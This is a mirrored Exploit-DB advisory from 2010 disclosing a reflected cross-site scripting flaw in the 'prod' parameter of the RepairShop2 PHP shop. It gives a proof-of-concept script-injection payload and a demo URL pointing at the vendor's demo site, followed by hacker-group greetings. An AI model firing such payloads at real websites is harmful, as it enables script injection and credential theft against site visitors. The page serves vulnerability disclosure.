RepairShop2 – ‘index.php?Prod’ Cross-Site Scripting

• Exploit Database
• 105 阅读

• 作者： kaMtiEz
  日期： 2010-03-23
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/33787/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63

  source: https://www.securityfocus.com/bid/38907/info   RepairShop 2 is prone to an SQL-injection vulnerability and a cross-site scripting vulnerability.   Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, control how the site is rendered to the user, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.   RepairShop 2 1.9.023 Trial is vulnerable; other versions may also be affected.   ############################################################################################################# ## RepairShop2 - cross site scripting ( XSS ) ## ## Author : kaMtiEz (kamzcrew@yahoo.com) ## ## Homepage : http://www.indonesiancoder.com ## ## Date : 20 March, 2010 ## #############################################################################################################   [ Software Information ]   [+] Vendor : http://www.realitymedias.com/ [+] Download : http://www.realitymedias.com/repairshop/?L=downloads [+] version : 1.9.023 [+] Vulnerability : XSS [+] Dork : syalalala [+] LOCATION : INDONESIA - JOGJA #############################################################################################################   [ Vulnerable File ]   http://127.0.0.1/[kaMtiEz]/shop/?b=products.details&prod=[INDONESIANCODER]   [ EXPLOIT ]   "><script>alert(666)</script>   [ DEMO ]   http://n3x.realitymedias.com/rshop_demo/shop/?b=products.details&prod="><script>alert(666)</script>   [ FIX ]   :(     #############################################################################################################   [ Thx TO ]   [+] INDONESIAN CODER TEAM MainHack ServerIsDown SurabayaHackerLink IndonesianHacker SoldierOfAllah [+] tukulesto,M3NW5,arianom,N4CK0,abah_benu,d0ntcry,newbie_043,bobyhikaru,gonzhack,senot [+] Contrex,YadoY666,yasea,bugs,Ronz,Pathloader,cimpli,MarahMerah.IBL13Z,r3m1ck [+] Coracore,Gh4mb4s,Jack-,VycOd,m0rgue,otong,CS-31     [ NOTE ]   [+] Babe enyak adek i love u pull dah .. [+] to someone .. satu langkah lagi .. :D [+] CS-31 : kutunggu di kotaku :">   [ QUOTE ]   [+] INDONESIANCODER still r0x [+] nothing secure ..